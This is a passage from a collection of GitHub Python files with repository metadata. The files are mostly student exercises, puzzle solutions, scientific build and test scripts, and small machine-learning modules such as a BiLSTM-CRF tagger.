(WIIYMAX/2)\n    values = [copX ,copY]\n    return values\n\n#**Main**\ndef main():\n    \n    global foo\n    \n    if foo is None:\n        foo = PyBalanceBoard()    \n    \n    if(not foo.hasWiiMotes()):\n        foo = None\n    else:\n    \n        cont = bge.logic.getCurrentController()\n        own = cont.owner\n        move = cont.actuators[\"move\"]\n        \n        #Need two polls for refresh\n        foo.poll()\n        foo.poll()\n        pos = calcCOP(foo.topRight, foo.topLeft, foo.bottomRight, foo.bottomLeft)\n        #print(\"%s, %s, %s, %s, %s\" % (foo.getTotal(), foo.topRight, foo.topLeft, foo.bottomRight, foo.bottomLeft))\n        if(UpDir(foo)):\n                dx = xLinSpeed(pos[0])\n                dy = yLinSpeed(pos[1])\n                #move.dLoc = [dx,dy,0.0]\n                move.dLoc = [dx,0,0.0]\n                cont.activate(move)\n        else:\n            move.dLoc = [0.0, 0.0, 0.0] \n            cont.deactivate(move)\n    \n\n    ","repo_name":"secheung/prjFloat","sub_path":"wiiboard.py","file_name":"wiiboard.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5941180051","text":"s = map(int, input().split())\ntarget = 17\n\nfor i in s:\n    if (i == 5 or i == 7):\n        target = target - i\n\nprint(target)\nif target == 0:\n    print(\"YES\")\nelse:\n    print(\"NO\")\n","repo_name":"KazuMika/atcoder","sub_path":"042/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23608024049","text":"#Example of how to use BuildFEAP (with python):\n\nimport argparse\nfrom BuildFEAP84 import SetBuildFEAP #SetBuildFEAP(PFdir='',petsc_dir='',petsc_arch='',slepc_dir='',feap_arch='',bopt='',ldopt='',cc='',ff='',Recomp=False,x11off='')\nimport os\n\nparser = argparse.ArgumentParser(description='FEAP Builder')\nparser.add_argument('-m', dest='mode',type=str,default='r',nargs='?')\nargs = parser.parse_args()\nmode = args.mode\n\n# Set FEAPHOME. (can be done outside the script)\nos.environ['FEAPHOME8_4']='/home/cxc/software/feap84'\n\n# Define FEAP_ARCH \nfa_opt='AOpt'\nfa_dbg='ADbg'\n\n# Define compile options for FEAP\no_opt='-O3 -ftree-vectorize -Wall'\no_dbg='-g -Wall'\nldopt='-lX11 -lblas -llapack -lm'\nff='/usr/bin/gfortran' #BuildFEAP will set this based on OS but will also give warning\ncc='/usr/bin/gcc'      #BuildFEAP will set this based on OS but will also give warning\n\n\n# Define possible SLEPC_DIR, PETSC_DIR and PETSC_ARCH\nsdir=''\npdir='/home/cxc/software/petsc-3.5.4'\npfold='parfeap'\npa_opt='arch-linux2-c-opt'\npa_dbg='arch-linux2-c-dbg'\n\n\n# Set build modes\nif mode == 'r': # Rebuild\n    # Feap\n    SetBuildFEAP()\n    # ParFEAP\n    SetBuildFEAP(PFdir=pfold)\n\nelif mode == 'o': # Optimized\n    # Feap (optimized)\n    SetBuildFEAP(bopt=o_opt,feap_arch=fa_opt,ldopt=ldopt,ff=ff,cc=cc)\n    # ParFEAP (optimized)\n    SetBuildFEAP(PFdir=pfold,petsc_dir=pdir,petsc_arch=pa_opt,slepc_dir=sdir)\n    \nelif mode == 'g': # FEAP-Debug\n    # Feap (debug)\n    SetBuildFEAP(bopt=o_dbg,feap_arch=fa_dbg,ldopt=ldopt,ff=ff,cc=cc)\n    # ParFEAP (optimized)\n    SetBuildFEAP(PFdir=pfold,petsc_dir=pdir,petsc_arch=pa_opt,slepc_dir=sdir)\n    \nelif mode == 'fg': # Full-Debug\n    # Feap (debug)\n    SetBuildFEAP(bopt=o_dbg,feap_arch=fa_dbg,ldopt=ldopt,ff=ff,cc=cc)\n    # ParFEAP (debug)\n    SetBuildFEAP(PFdir=pfold,petsc_dir=pdir,petsc_arch=pa_dbg,slepc_dir=sdir)\n\n\nelif mode == 'recomp': # Force Recompile\n    # Feap\n    SetBuildFEAP(Recomp=True)\n    # ParFEAP\n    SetBuildFEAP(PFdir=pfold,Recomp=True)\n    \n\n","repo_name":"JieVoo/mydotfiles","sub_path":"feapinstall/Build.py","file_name":"Build.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1685016315","text":"#GUI-Calculator.py\r\n\r\nfrom  tkinter import *\r\nfrom tkinter import ttk, messagebox\r\n\r\nGUI = Tk()\r\nGUI.title('โปรแกรมคำนวณราคาปลา รถขายมั่ว')\r\nGUI.geometry('700x600')  #กำหนดขนาดของตัวโปรแกรม\r\n\r\nbg = PhotoImage(file='ice-cream-icon.png')\r\n\r\nBG = Label(GUI,image=bg)\r\nBG.pack()\r\n\r\nL = Label(GUI,text='กรุณากรอกจำนวนปลา (kg)',font=(None,20)) #none คือชื่อตัวอักษร font,20 คือขนาด\r\nL.pack()\r\n\r\nv_quantity = StringVar() # ตัวแปรที่ใช้เก็บข้อความเมื่อพิมพ์เสร็จแล้ว\r\nE1 = ttk.Entry(GUI, textvariable=v_quantity, font = (None,20)) \r\nE1.pack()\r\n\r\n\r\n\r\ndef Cal():\r\n\ttry:  #try ลองทำคำสั่งถ้าใช่จบโปรแกรม ถ้าไม่ใช่ไปที่ except เพื่อป้องกันการกรอกผิด\r\n\t\tquan = float(v_quantity.get())\r\n\t\tcalc = quan * 39               #คิดราคากิโลละ 39 บาทต่อกิโล *จำนวนปลา\r\n\t\tmessagebox.showinfo('ราคาทั้งหมด','ราคาปลาทั้งหมด {} บาท'.format(calc))\r\n\t\tv_quantity.set('1') #ค่า default หลังจากค��นวณเสร็จ\r\n\t\tE1.focus() #หลังจากจบการคำนวณแล้วจะกลับไปที่ E1\r\n\r\n\texcept:\r\n\t\tmessagebox.showwarning('กรอกผิด','กรุณากรอกเฉพาะตัวเลขเท่านั้น')\r\n\t\tv_quantity.set('1') #ค่า default หลังจากคำนวณเสร็จ\r\n\t\tE1.focus()\r\n\r\n\r\nB = ttk.Button(GUI,text='คำนวณ',command=Cal)\r\nB.pack(ipadx=30,ipady=20) #ipadx ขยายกว้าง x/y\r\n\r\n\r\nGUI.mainloop()  #เพื่อให้โปรแกรมรันตลอดเวลา จะอยู่ท้าย GUI\r\n\r\n\r\n","repo_name":"NatbooZ/BasicPython","sub_path":"GUI-calculator.py","file_name":"GUI-calculator.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"th","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14352360816","text":"def truth_table(expression): \n    print(f\" p      q     {expression}\")\n    delka = len(f\" p      q     {expression}\")\n    print(delka* \"=\")\n\n    for p in True, False:\n        for q in True, False:\n            print(f\"{p:<7} {q:<7} {eval(expression):<7}\")\n    print()\n\nexpressions = [\n    'p or q',\n    'p and q',\n    'not (p or q)',\n    'not (p and q)',\n    'not(p) or not(q)',\n    'not(p) and not(q)',\n]\n\nfor expression in expressions:\n    truth_table(expression)\n\n  ","repo_name":"mirekmrnak/howtopycz","sub_path":"chapter9/truth_table.py","file_name":"truth_table.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"33353181279","text":"from Matrix import ModelMatrix\nfrom Vec import Vec\nfrom Shader import Shader3D\nfrom game_resources import look\n\n\n# Encapsulates a game object's coordinate frame\nclass Coord:\n\tdef __init__(self, model: ModelMatrix, shader: Shader3D, pos: Vec = None, scale: Vec = None, rotation: Vec = None):\n\t\tself.model = model\n\t\tself.shader = shader\n\t\tself.pos = Vec() if pos is None else pos\n\t\tself.scalar = Vec.one() if scale is None else scale\n\t\tself.rotation = Vec() if rotation is None else rotation\n\t\tself.orientation: list[int | float] | None = None\n\n\tdef apply(self):\n\t\tself.model.push_matrix()\n\t\tself.model.translate(self.pos)\n\t\tif self.orientation is not None:\n\t\t\tself.model.transform(self.orientation)\n\t\tself.model.rotate(self.rotation)\n\t\tself.model.scale(self.scalar)\n\t\tself.shader.set_model_matrix(self.model.get_matrix())\n\n\tdef unapply(self):\n\t\tself.model.pop_matrix()\n\n\tdef translate(self, direction: Vec):\n\t\tself.pos += direction\n\n\tdef scale(self, scale: Vec):\n\t\tself.scalar += scale\n\n\tdef rotate(self, rotation: Vec):\n\t\tself.rotation += rotation\n\n\tdef look(self, target: Vec, up: Vec = None):\n\t\tc, a, b = look(self.pos, target, Vec.up() if up is None else up)\n\t\tself.orientation = [\n\t\t\ta.x, b.x, c.x, 0.0,\n\t\t\ta.y, b.y, c.y, 0.0,\n\t\t\ta.z, b.z, c.z, 0.0,\n\t\t\t0.0, 0.0, 0.0, 1.0\n\t\t]\n\t\tself.rotation = Vec()\n\t\treturn c, a, b\n","repo_name":"AdminBenni/MoodD3","sub_path":"Coord.py","file_name":"Coord.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8639594373","text":"import torch\nfrom torch import Tensor\nimport itertools\nfrom typing import Tuple, Optional, Callable, Any\nfrom nubo.optimisation import lbfgsb, slsqp, adam_mixed\n\n\ndef mixed(func: Callable,\n          method: str,\n          bounds: Tensor,\n          discrete: dict,\n          constraints: Optional[dict | list]=None,\n          lr: Optional[float]=0.1,\n          steps: Optional[int]=200,\n          num_starts: Optional[int]=10,\n          num_samples: Optional[int]=100,\n          **kwargs: Any) -> Tuple[Tensor, Tensor]:\n    \"\"\"\n    Mixed optimisation with continuous and discrete inputs.\n\n    Optimises the acquisition over all continuous input dimensions by fixing a\n    combination of the discrete inputs. Returns the best result over all\n    possible discrete combinations. Minimises `func`.\n    \n    Parameters\n    ----------\n    func : ``Callable``\n        Function to optimise.\n    method : ``str``\n        One of \"L-BFGS-B\", \"SLSQP\", or \"Adam\".\n    bounds : ``torch.Tensor``\n        (size 2 x d) Optimisation bounds of input space.\n    discrete : ``dict``\n        Possible values for all discrete inputs in the shape {dim1: [values1],\n        dim2: [values2], etc.}, e.g. {0: [1., 2., 3.], 3: [-0.1, -0.2, 100.]}.\n    constraints : ``dict`` or ``list`` of ``dict``, optional\n        Optimisation constraints.\n    lr : ``float``, optional\n        Learning rate of ``torch.optim.Adam`` algorithm, default is 0.1.\n    steps : ``int``, optional\n        Optimisation steps of ``torch.optim.Adam`` algorithm, default is 200.\n    num_starts : ``int``, optional\n        Number of start for multi-start optimisation, default is 10.\n    num_samples : ``int``, optional\n        Number of samples from which to draw the starts, default is 100.\n    **kwargs : ``Any``\n        Keyword argument passed to ``torch.optim.Adam`` or\n        ``scipy.optimize.minimze``.\n\n    Returns\n    -------\n    best_result : ``torch.Tensor``\n        (size 1 x d) Minimiser inputs.\n    best_func_result : ``torch.Tensor``\n        (size 1) Minimiser output.\n    \"\"\"\n\n    # get discrete dimensions and values\n    discrete_dims = list(discrete.keys())\n    discrete_values = list(discrete.values())\n\n    # get all possible combinations of discrete inputs\n    all_combos = list(itertools.product(*discrete_values))\n\n    # initialise results\n    results = torch.zeros((len(all_combos), bounds.size(1)))\n    func_results = torch.zeros((len(all_combos)))\n    \n    # select discrete combination\n    for i, fixed_value in enumerate(all_combos):\n\n        # fix combination\n        fixed_bounds = bounds\n        for j, dim in enumerate(discrete_dims):\n            fixed_bounds[:, dim] = fixed_value[j]\n\n        # optimise acquisition function \n        if method == \"L-BFGS-B\":\n            results[i], func_results[i] = lbfgsb(func, fixed_bounds, num_starts, num_samples, **kwargs)\n        elif method == \"SLSQP\":\n            results[i], func_results[i] = slsqp(func, fixed_bounds, constraints, num_starts, num_samples, **kwargs)\n        elif method == \"Adam\":\n            results[i], func_results[i] = adam_mixed(func, fixed_bounds, lr, steps, num_starts, num_samples, **kwargs)\n        else:\n            raise NotImplementedError(\"Method must be one of L-BFGS-B, SLSQP or Adam.\")\n\n    # get best result \n    best_i = torch.argmin(func_results)\n    best_result =  torch.reshape(results[best_i, :], (1, -1))\n    best_func_result = torch.reshape(func_results[best_i], (1,))\n\n    return best_result, best_func_result\n","repo_name":"mikediessner/nubo","sub_path":"nubo/optimisation/mixed.py","file_name":"mixed.py","file_ext":"py","file_size_in_byte":3475,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"22"}
+{"seq_id":"11102168316","text":"def parse_input():\r\n    with open('day20/input.txt') as fp:\r\n        enhance = fp.readline().strip()\r\n        image = [\r\n            list(string)\r\n            for string in fp.read().strip().split('\\n')\r\n        ]\r\n    return enhance, image\r\n\r\n\r\ndef add_more_lines(image, times, outside='.'):\r\n    rows, cols = len(image), len(image[0])\r\n    new_image = []\r\n    i = -times\r\n    while i < rows + times:\r\n        j = -times\r\n        temp = []\r\n        while j < cols + times:\r\n            if 0 <= i < rows and 0 <= j < cols:\r\n                temp.append(image[i][j])\r\n            else:\r\n                temp.append(outside)\r\n            j += 1\r\n        new_image.append(temp)\r\n        i += 1\r\n    return new_image\r\n\r\n\r\ndef get_neighbours(image, i, j, outside='.'):\r\n    rows, cols = len(image), len(image[0])\r\n    result = []\r\n    for x, y in (\r\n        (i-1, j-1), (i-1, j), (i-1, j+1),\r\n        (i, j-1), (i, j), (i, j+1),\r\n        (i+1, j-1), (i+1, j), (i+1, j+1),\r\n    ):\r\n        if 0 <= x < rows and 0 <= y < cols:\r\n            result.append(image[x][y])\r\n        else:\r\n            result.append(outside)\r\n    return ''.join('1' if char == '#' else '0' for char in result)\r\n\r\n\r\ndef solve(times):\r\n    enhance, image = parse_input()\r\n    outside = '.'\r\n    for _ in range(times):\r\n        image = add_more_lines(image, 2, outside)\r\n        new_image = []\r\n        for i, row in enumerate(image):\r\n            temp = []\r\n            for j, char in enumerate(row):\r\n                result = get_neighbours(image, i, j, outside)\r\n                index = int(result, 2)\r\n                temp.append(enhance[index])\r\n            new_image.append(temp)\r\n        image = new_image\r\n        outside = enhance[0] if outside == '.' else enhance[-1]\r\n\r\n    total_lit = 0\r\n    for row in image:\r\n        total_lit += sum(x == '#' for x in row)\r\n    return total_lit\r\n\r\n\r\ndef solve_task1():\r\n    return solve(2)\r\n\r\n\r\ndef solve_task2():\r\n    return solve(50)\r\n\r\n\r\nif __name__ == '__main__':\r\n    result1 = solve_task1()\r\n    print('task 1 -', result1)\r\n    result2 = solve_task2()\r\n    print('task 2 -', result2)\r\n","repo_name":"Ivanchyshyn/advent_of_code_2021","sub_path":"day20/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1945642436","text":"import numpy as np\n\nfrom pytest import fixture\nfrom pytest import    mark\n\nfrom ..database                   import                   load_db as DB\nfrom ..io      .mcinfo_io         import load_mcsensor_response_df\nfrom ..core    .system_of_units_c import                     units\n\nfrom . buffer_functions           import         calculate_binning\nfrom . buffer_functions           import         calculate_buffers\nfrom . buffer_functions           import            trigger_finder\n\n\n@fixture(scope=\"module\")\ndef mc_waveforms(mc_sensors_nexus_data):\n    sensor_data, *_ = mc_sensors_nexus_data\n    return load_mcsensor_response_df(sensor_data, 'new', 6400)\n\n\n## !! to-do: generalise for all detector configurations\n@fixture(scope=\"module\")\ndef pmt_ids():\n    return DB.DataPMT('new', 6400).SensorID.values\n\n\n@fixture(scope=\"module\")\ndef sipm_ids():\n    return DB.DataSiPM('new', 6400).SensorID.values\n\n\n@fixture(scope=\"module\")\ndef binned_waveforms(mc_waveforms, pmt_ids, sipm_ids):\n    max_buffer = 10 * units.minute\n    wf_binner  = calculate_binning(max_buffer)\n\n    evts, pmt_binwid, sipm_binwid, all_wfs = mc_waveforms\n\n    evt   = evts[0]\n    wfs   = all_wfs.loc[evt]\n\n    pmts  = wfs.loc[ pmt_ids]\n    sipms = wfs.loc[sipm_ids]\n\n    ## Assumes pmts the triggering sensors as in new/next-100\n    pmt_bins ,  pmt_wf = wf_binner(pmts ,  pmt_binwid)\n    sipm_bins, sipm_wf = wf_binner(sipms, sipm_binwid,\n                                   pmt_bins[0],\n                                   pmt_bins[-1] + np.diff(pmt_bins)[-1])\n    return pmt_bins, pmt_wf, sipm_bins, sipm_wf\n\n\ndef test_calculate_binning(mc_waveforms, pmt_ids, sipm_ids, binned_waveforms):\n\n    pmt_bins, pmt_wf, sipm_bins, sipm_wf = binned_waveforms\n\n    evts, pmt_binwid, sipm_binwid, all_wfs = mc_waveforms\n\n    evt   = evts[0]\n    wfs   = all_wfs.loc[evt]\n\n    pmts  = wfs.loc[ pmt_ids]\n    sipms = wfs.loc[sipm_ids]\n\n    assert np.all(np.diff( pmt_bins) ==  pmt_binwid)\n    assert np.all(np.diff(sipm_bins) == sipm_binwid)\n    assert pmt_bins[ 0] >= sipm_bins[ 0]\n    assert pmt_bins[-1] >= sipm_bins[-1]\n\n    pmt_sum  = pmts .charge.sum()\n    sipm_sum = sipms.charge.sum()\n    assert pmt_wf .sum().sum() ==  pmt_sum\n    assert sipm_wf.sum().sum() == sipm_sum\n\n\n@mark.parametrize(\"trigger_thresh\", (2, 10))\ndef test_trigger_finder(binned_waveforms, trigger_thresh):\n\n    pmt_bins, pmt_wf, *_ = binned_waveforms\n\n    buffer_length = 800\n    bin_width     = np.diff(pmt_bins)[0]\n\n    trg_finder    = trigger_finder(buffer_length ,\n                                   bin_width     ,\n                                   trigger_thresh)\n\n    pmt_sum       = pmt_wf.sum()\n    triggers      = trg_finder(pmt_wf)\n\n    assert np.all(pmt_sum[triggers] > trigger_thresh)\n\n\n@mark.parametrize(\"pre_trigger trigger_thresh\".split(),\n                  ((100,  2),\n                   (400, 10)))\ndef test_calculate_buffers(mc_waveforms, binned_waveforms,\n                           pre_trigger, trigger_thresh):\n\n    _, pmt_binwid, sipm_binwid, _ = mc_waveforms\n\n    pmt_bins, pmt_wf, sipm_bins, sipm_wf = binned_waveforms\n\n    buffer_length     = 800\n\n    trg_finder        = trigger_finder(buffer_length ,\n                                       pmt_binwid    ,\n                                       trigger_thresh)\n\n    triggers          = trg_finder(pmt_wf)\n\n    buffer_calculator = calculate_buffers(buffer_length,\n                                          pre_trigger  ,\n                                          pmt_binwid   ,\n                                          sipm_binwid  )\n\n    buffers           = buffer_calculator(triggers, *binned_waveforms)\n    pmt_sum           = pmt_wf.sum()\n\n    assert len(buffers) == len(triggers)\n    for i, evt in enumerate(buffers):\n        sipm_trg_bin = np.where(sipm_bins <= pmt_bins[triggers[i]])[0][-1]\n        diff_binedge = pmt_bins[triggers[i]] - sipm_bins[sipm_trg_bin]\n        pre_trg_samp = int(pre_trigger * units.mus / pmt_binwid + diff_binedge)\n\n        assert pmt_wf .shape[0] == evt[0].shape[0]\n        assert sipm_wf.shape[0] == evt[1].shape[0]\n        assert evt[0] .shape[1] == int(buffer_length * units.mus / pmt_binwid)\n        assert np.sum(evt[0], axis=0)[pre_trg_samp] == pmt_sum[triggers[i]]\n","repo_name":"andLaing/detsim_local","sub_path":"detsim/simulation/buffer_functions_test.py","file_name":"buffer_functions_test.py","file_ext":"py","file_size_in_byte":4221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25182497193","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nx_data =  np.arange(-10,10,1e-5)\ny_data = (1/np.sqrt(2*np.pi*(3**2)))*np.exp(-(x_data**2/(2*(3**2))))\n\n\nplt.plot(x_data, y_data)\nplt.xlabel('$x$ (m)', fontsize=16)\nplt.ylabel('$y$ (Hz)', fontsize=16)\nplt.title('Gaussian Plot', fontsize=20)\nplt.savefig('Gaussian.png')\n\n\n\n\n\n","repo_name":"bjohnston0309/phys-ga2000","sub_path":"ps-1/plot_gaussian.py","file_name":"plot_gaussian.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"71887613176","text":"# Python - 3.10\n# Topic - Interview Question - Data Structures and Algorithms\n# program - Given 2 arrays that are sorted, merge this two arrays into one big one\n\n# Input\n# [0, 3, 4, 31], [4, 6, 30]\n# Output\n# [0, 3, 4, 4, 6, 30, 31]\n\n\n# Starting Interview\n\n# You - So does my result have to be sorted\n# interviewer - Ya, it has to be\n\n# 1ST APPROACH\n# My first approach would be to create a new list in my function as well as an i,j = 0; variables that i will use in a while loop to check and compare each item in both arrays, if both items are equal to i want to add both and increment i, j, if one is less than the other i want to add the lesser one and increment it's index for the next comparison. At the point where we have exhausted any of our array we want to simply add the remainder of the other array and then break out of the loop\n\n# interviewer: i love that. let's see that in code\n\n\ndef mergeSortedArrays(arr1, arr2):\n   # Input Validation\n   if (len(arr1) == 0 or len(arr2) == 0): return arr1 + arr2\n   bigList = []\n   i = 0\n   j = 0\n\n   # [0, 3, 4, 31]   | len = 4\n   # [4, 6, 30]  | len = 3\n   while True:\n      # check if we've exhausted any array, add the other array remaining and break out of loop\n      if (i == len(arr1) and j == len(arr2)): \n         break\n      elif (i == len(arr1)):\n         bigList += arr2[j:]\n         break\n      elif (j == len(arr2)):\n         bigList += arr1[i:]\n         break\n\n      if (arr1[i] == arr2[j]):\n         bigList.append(arr1[i])\n         bigList.append(arr2[j])\n         i += 1\n         j += 1\n      elif (arr1[i] < arr2[j]):\n         bigList.append(arr1[i])\n         i += 1\n      elif (arr1[i] > arr2[j]):\n         bigList.append(arr2[j])\n         j += 1\n\n   # print(f\"i: {i} | j: {j}\")   \n   print(bigList)\n   return bigList\n\n\narr1, arr2 = [0, 3, 4, 31], [4, 6, 30]\n\nmergeSortedArrays(arr1, arr2)\n\n\n# Interviewer - That's an absoultely great solution. How would you make this code more readable and cleaner","repo_name":"danielchukwu/Master-the-coding-interview","sub_path":"6. Data Structures Arrays/9.MergeSortedArrays.py","file_name":"9.MergeSortedArrays.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41828453907","text":"\"\"\"\nPrints the numbers from 1 to N\n\nif the number is multiples of three,print “Fizz” instead of the number \n\nand for the multiples of five print “Buzz”\n\"\"\"\ndef num(n):\n    \"\"\"num fucntion accept only the Natural interger number(greater than 0)\"\"\"\n    try:\n        #check if the given number is Negative then it will raise Exception\n        if n<=0 :\n            raise TypeError \n        #iterate given number through the loop using range function\n        for i in range(n):\n            #checking the condition if \"i\" multiples of three\n            if (i+1)%3==0:\n                print(\"Fizz\",end=\",\" if (i+1)!=n else \"\")\n                \n            #checking the condition if \"i\" multiples of five\n            elif (i+1)%5==0:\n                print(\"Buzz\",end=\",\" if (i+1)!=n else \"\")\n            else:\n                print(i+1,end=\",\" if (i+1)!=n else \"\")\n    except :\n        raise TypeError (\"Please Enter the Natural interger number(greater than 0)\")\n        \nif __name__=='__main__':\n    num(17)\n","repo_name":"Sivakumar-bot/sample","sub_path":"num.py","file_name":"num.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14805919026","text":"'''\r\n    작성일 : 2023년 10월 4일\r\n    작성자 : 컴퓨터공학부 2202395007 김수종\r\n    설명 : 두 수를 입력 받아 ->\r\n            1. 두 수 사이의 짝수의 합계\r\n            2. 두 수 사이의 짝수의 합계 출력\r\n            \r\n            심화 문제 5-2, 141p\r\n            for 또는 while 원하는 것 사용\r\n'''\r\n\r\n# 1. 두 수를 입력받아 변수에 저장\r\nnum1 = int(input(\"첫 번째 숫자 입력 : \"))\r\nnum2 = int(input(\"두 번째 숫자 입력 : \"))\r\n\r\n# 2. 두 수의 합계, 두 수 사이 짝수의 합계 기초 값 지정\r\nsum = 0\r\neven_sum = 0\r\n\r\n# 3. 시작 값 지정\r\nif num1 > num2 :\r\n    start=num2\r\n    fin=num1\r\nelse :\r\n    start=num1\r\n    fin=num2\r\n\r\nwhile start <= fin :\r\n    sum += start    # 합계 누적\r\n    if start % 2 != 0 :     # 짝수가 아니면\r\n        start+=1\r\n        continue    # 밑 문장 실행하지 않고 반복문 처음으로 돌림\r\n    even_sum+=start   # 짝수 합계 누적\r\n    start+=1     # start가 1씩증가\r\n\r\nprint(f\"{num1}와(과) {num2}의 사이의 합 : {sum}\")\r\nprint(f\"{num1}와(과) {num2}의 사이 짝수의 합 : {even_sum}\")","repo_name":"rlatnwhd/python2","sub_path":"5장/15_ex5-2_김수종.py","file_name":"15_ex5-2_김수종.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73632367735","text":"# create a set that has only the black tiles\n# give each tile a location that I can check against\n\n# puzzleInput = open(\"TestInput.txt\",\"r\")\n# puzzleInput = puzzleInput.readlines()\ndirections = []\n\nwith open(\"TestInput.txt\", \"r\") as f:\n  for line in f:\n    split = list(line.strip())\n    direction = []\n    while len(split) != 0:\n      if split[0] == \"s\" or split[0] == \"n\":\n        direction.append(split[0] + split[1])\n        split = split[2:]\n      else:\n        direction.append(split[0])\n        split = split[1:]\n    directions.append(direction)\n\ndef dayTwentyFour(input):\n  blackTiles = set()\n\n  for directions in input:\n    location = getLocation(directions)\n\n    if location in blackTiles:\n      blackTiles.remove(location)\n    else:\n      blackTiles.add(location)\n\n  print(\"The answer to Part One is:\", len(blackTiles))\n\n  for i in range(100):\n    print(i)\n    blackTiles = calculateNextState(blackTiles)\n\n  print(\"The answer to Part Two is:\", len(state))\n\n\ndef getLocation(line):\n  # based on the direction, change the location, starting location is 0,0\n  # return the location\n  x = 0\n  y = 0\n  z = 0\n\n  for direction in line:\n    if direction == \"e\":\n      x += 1\n      y -= 1\n    \n    if direction == \"se\":\n      y -= 1\n      z += 1\n\n    if direction == \"sw\":\n      x -= 1\n      z += 1\n\n    if direction == \"w\":\n      x -= 1\n      y += 1\n    \n    if direction == \"nw\":\n      y += 1\n      z -= 1\n    \n    if direction == \"ne\":\n      x += 1\n      z -= 1\n\n  return (x,y,z)\n\n\ndef calculateNextState(previous):\n  nextState = stayBlack(previous).union(turnBlack(previous))\n\n  return nextState\n\ndef getNeighbor(location):\n  neighbors = []\n\n  for dx in range(-1, 2):\n    x = location[0] + dx\n    for dy in range(-1, 2):\n      y = location[1] + dy\n      for dz in range(-1, 2):\n        z = location[2] + dz\n        if x == location[0] and y == location[1] and z == location[2]:\n          continue\n  \n        neighbors.append((x, y, z))\n  \n  return neighbors\n\ndef stayBlack(previous):\n  stayingBlack = set()\n  \n  for location in previous:\n    if countActiveNeighbors(location, previous) == 1 or countActiveNeighbors(location, previous) == 2:\n      stayingBlack.add(location)\n\n  return stayingBlack\n  \ndef turnBlack(previous):\n  turningBlack = set()\n\n  for location in previous:\n\n      for neighbor in getNeighbor(location):\n      \n        if neighbor in previous:\n          continue\n\n        if countActiveNeighbors(neighbor, previous) == 2:\n          turningBlack.add(neighbor)\n  \n  return turningBlack\n\ndef countActiveNeighbors(location, state):\n  count = 0\n\n  for neighbor in getNeighbor(location):\n    if neighbor in state:\n      count += 1\n\n  return count\n\nif __name__ == \"__main__\":\n  dayTwentyFour(directions)","repo_name":"glopez99/advent_of_code","sub_path":"2020/Day24/Day24.py","file_name":"Day24.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1297836547","text":"import torch\nimport torch.nn as nn\nfrom .bilstm import Bilstm\nfrom .crf import CRF\nfrom .softmax import SoftmaxLayer\n\nPAD = '</pad>'\nSTART = '<s>'\nSTOP = '</s>'\nUNK = '</unk>'\n\n\nclass Tagger(nn.Module):\n\n    def __init__(self, conf):\n        super(Tagger, self).__init__()\n        self.device = conf.device\n        self.tag_size = conf.dicts['tag_size']\n        self.tag_to_idx = conf.dicts['tag_to_idx']\n        self.PAD_IDX = self.tag_to_idx[PAD]\n        self.START_IDX = self.tag_to_idx[START]\n        self.STOP_IDX = self.tag_to_idx[STOP]\n        self.bilstm = Bilstm(conf)\n        self.inference_layer = conf.inference_layer\n        if self.inference_layer == 'crf':\n            self.crf_layer = CRF(conf)\n        elif self.inference_layer == 'softmax':\n            self.softmax_layer = SoftmaxLayer(conf)\n\n    def calculate_loss(self, data):\n        lstm_out = self.bilstm(data)\n        if self.inference_layer == 'crf':\n            total_loss = self.crf_layer.neg_log_likelihood(lstm_out, data)\n        else:\n            total_loss = self.softmax_layer.neg_log_likelihood(lstm_out, data)\n        return total_loss\n\n    def forward(self, data):\n        lstm_out = self.bilstm(data)\n        word_seq_tensor = data['word_seq_tensor']\n        mask = torch.gt(word_seq_tensor, self.PAD_IDX).float()\n        if self.inference_layer == 'crf':\n            best_paths = self.crf_layer.decode(lstm_out, mask)\n        else:\n            best_paths = self.softmax_layer(lstm_out, mask)\n        return best_paths\n","repo_name":"mianzhang/NERToolkit","sub_path":"model/tagger.py","file_name":"tagger.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
